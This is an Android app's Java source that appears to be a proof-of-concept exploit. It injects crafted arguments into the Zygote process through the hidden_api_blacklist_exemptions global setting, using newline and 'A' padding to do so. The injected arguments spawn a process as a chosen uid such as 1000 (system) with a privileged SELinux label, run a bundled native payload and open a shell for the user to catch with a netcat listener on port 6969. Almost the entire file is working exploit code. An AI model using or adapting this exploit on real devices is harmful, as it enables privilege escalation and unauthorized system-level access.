package com.fh.exp31317;

import android.content.ContentValues;
import android.net.Uri;
import android.os.Build;
import android.os.Bundle;
import android.provider.Settings;
import android.util.Log;
import android.view.View;
import android.widget.Button;
import android.widget.CheckBox;
import android.widget.EditText;
import android.widget.LinearLayout;
import android.widget.TextView;

import androidx.activity.EdgeToEdge;
import androidx.appcompat.app.AppCompatActivity;
import androidx.core.graphics.Insets;
import androidx.core.view.ViewCompat;
import androidx.core.view.WindowInsetsCompat;

public class MainActivity extends AppCompatActivity {
    private static final String TAG = "FH";

    private EditText uidEditText;
    private EditText gidEditText;
    private EditText setgroupsEditText;
    private EditText seinfoEditText;
    private EditText payloadEditText;
    private CheckBox advancedCheckBox;
    private LinearLayout advancedLayout;

    private final String payloadCore = "11\n" +
            "--seinfo=%s\n" +
            "--runtime-args\n" +
            "--invoke-with\n" +
            "%s" +
            "--setuid=%s\n" +
            "--setgid=%s\n" +
            "--setgroups=%s\n" +
            "--mount-external-android-writable\n" +
            "--runtime-flags=43267\n" +
            "--target-sdk-version=29\n" +
            "--package-name=com.google.android.gms\n" +
            "android.app.ActivityThread";

    @Override
    protected void onCreate(Bundle savedInstanceState) {
        super.onCreate(savedInstanceState);
        EdgeToEdge.enable(this);
        setContentView(R.layout.activity_main);
        ViewCompat.setOnApplyWindowInsetsListener(findViewById(R.id.main), (v, insets) -> {
            Insets systemBars = insets.getInsets(WindowInsetsCompat.Type.systemBars());
            v.setPadding(systemBars.left, systemBars.top, systemBars.right, systemBars.bottom);
            return insets;
        });

        // Initialize views
        uidEditText = findViewById(R.id.uidEditText);
        gidEditText = findViewById(R.id.gidEditText);
        setgroupsEditText = findViewById(R.id.setgroupsEditText);
        seinfoEditText = findViewById(R.id.seinfoEditText);
        payloadEditText = findViewById(R.id.payloadEditText);
        advancedCheckBox = findViewById(R.id.advancedCheckBox);
        advancedLayout = findViewById(R.id.advancedLayout);
        Button button = findViewById(R.id.button1);

        // Set up advanced mode toggle
        advancedCheckBox.setOnCheckedChangeListener((buttonView, isChecked) -> {
            advancedLayout.setVisibility(isChecked ? View.VISIBLE : View.GONE);
            if (isChecked) {
                updatePayloadEditText();
            }
        });

        // Set run button click listener
        button.setOnClickListener(v -> {
            String payload = Get_Payload();
            Log.d(TAG, payload);
            ContentValues values = new ContentValues();
            values.put(Settings.Global.NAME, "hidden_api_blacklist_exemptions");
            values.put(Settings.Global.VALUE, payload);
            try {
                // Set the payload here
                getContentResolver().insert(Uri.parse("content://settings/global"), values);

                // Trigger the exploit by changing the hidden_api_blacklist_exemptions setting here
                ContentValues values1 = new ContentValues();
                values1.put(Settings.Global.NAME, "hidden_api_blacklist_exemptions");
                values1.put(Settings.Global.VALUE, "*");
                try {
                    getContentResolver().insert(Uri.parse("content://settings/global"), values1);
                } catch (Exception e) {
                    Log.d(TAG, "Write Global settings error:" + e.getMessage());
                    //noinspection CallToPrintStackTrace
                    e.printStackTrace();
                }
            } catch (Exception e) {
                Log.d(TAG, "Write Global settings error:" + e.getMessage());
                //noinspection CallToPrintStackTrace
                e.printStackTrace();
            }
        });

        TextView notice = new TextView(this);
        notice.setText("You may have to press this button multiple times\n\nYou must run a netcat listener on port 6969 to catch the shell before running, you can do this in adb shell or termux\nRun nc -lp 6969 to start the listener");
        notice.setTextSize(12);
        //noinspection deprecation
        notice.setTextColor(getResources().getColor(android.R.color.darker_gray));
        notice.setLayoutParams(new LinearLayout.LayoutParams(
                LinearLayout.LayoutParams.MATCH_PARENT,
                LinearLayout.LayoutParams.WRAP_CONTENT));
        ((LinearLayout)findViewById(R.id.button1).getParent()).addView(notice);
    }

    private void updatePayloadEditText() {
        String uid = uidEditText.getText().toString();
        if (uid.isEmpty()) uid = "1000";

        String gid = gidEditText.getText().toString();
        if (gid.isEmpty()) gid = "1000";

        String setgroups = setgroupsEditText.getText().toString();
        if (setgroups.isEmpty()) setgroups = "0";

        String seinfo = seinfoEditText.getText().toString();
        if (seinfo.isEmpty()) seinfo = "platform:privapp:targetSdkVersion=29:complete";

        String exploitPayload = getExploitPayload();

        String formattedPayload = String.format(payloadCore,
                seinfo, exploitPayload, uid, gid, setgroups);

        payloadEditText.setText(formattedPayload);
    }

    private String getExploitPayload() {
        String packageCodePath = getPackageCodePath();
        String libsPath;

        // Check if we're on a 64-bit or 32-bit device
        if (Build.SUPPORTED_64_BIT_ABIS.length > 0) {
            libsPath = packageCodePath.substring(0, packageCodePath.length() - 8) + "lib/arm64/";
        } else {
            libsPath = packageCodePath.substring(0, packageCodePath.length() - 8) + "lib/arm/";
        }

        return "settings delete global hidden_api_blacklist_exemptions ; " + "HOME=" + libsPath + " " + libsPath + "exp.so;\n";
    }

    String Get_Payload() {
        // If in advanced mode and user edited the payload, use that
        if (advancedCheckBox.isChecked()) {
            String directPayload = payloadEditText.getText().toString();
            if (!directPayload.isEmpty()) {
                if (Build.VERSION.SDK_INT > Build.VERSION_CODES.R) {
                    StringBuilder finalPayload = new StringBuilder();
                    for (int i = 0; i != 3000; ++i) {
                        finalPayload.append("\n");
                    }
                    for (int i = 0; i != 5157; ++i) {
                        finalPayload.append("A");
                    }
                    finalPayload.append(directPayload).append(",");
                    for (int i = 0; i != 1400; ++i) {
                        finalPayload.append("\n,");
                    }
                    return finalPayload.toString();
                } else {
                    return "LClass1;->method1(\n" + directPayload + ";";
                }
            }
        }

        // Otherwise build it from the UI components
        String uid = uidEditText.getText().toString();
        if (uid.isEmpty()) uid = "1000";

        String gid = gidEditText.getText().toString();
        if (gid.isEmpty()) gid = "1000";

        String setgroups = setgroupsEditText.getText().toString();
        if (setgroups.isEmpty()) setgroups = "0";

        String seinfo = seinfoEditText.getText().toString();
        if (seinfo.isEmpty()) seinfo = "platform:privapp:targetSdkVersion=29:complete";

        String exploitPayload = getExploitPayload();
        String corePayload = String.format(payloadCore, seinfo, exploitPayload, uid, gid, setgroups);

        if (Build.VERSION.SDK_INT > Build.VERSION_CODES.R) {
            StringBuilder finalPayload = new StringBuilder();
            for (int i = 0; i != 3000; ++i) {
                finalPayload.append("\n");
            }
            for (int i = 0; i != 5157; ++i) {
                finalPayload.append("A");
            }
            finalPayload.append(corePayload).append(",");
            for (int i = 0; i != 1400; ++i) {
                finalPayload.append("\n,");
            }
            return finalPayload.toString();
        } else {
            return "LClass1;->method1(\n" + corePayload + ";";
        }
    }
}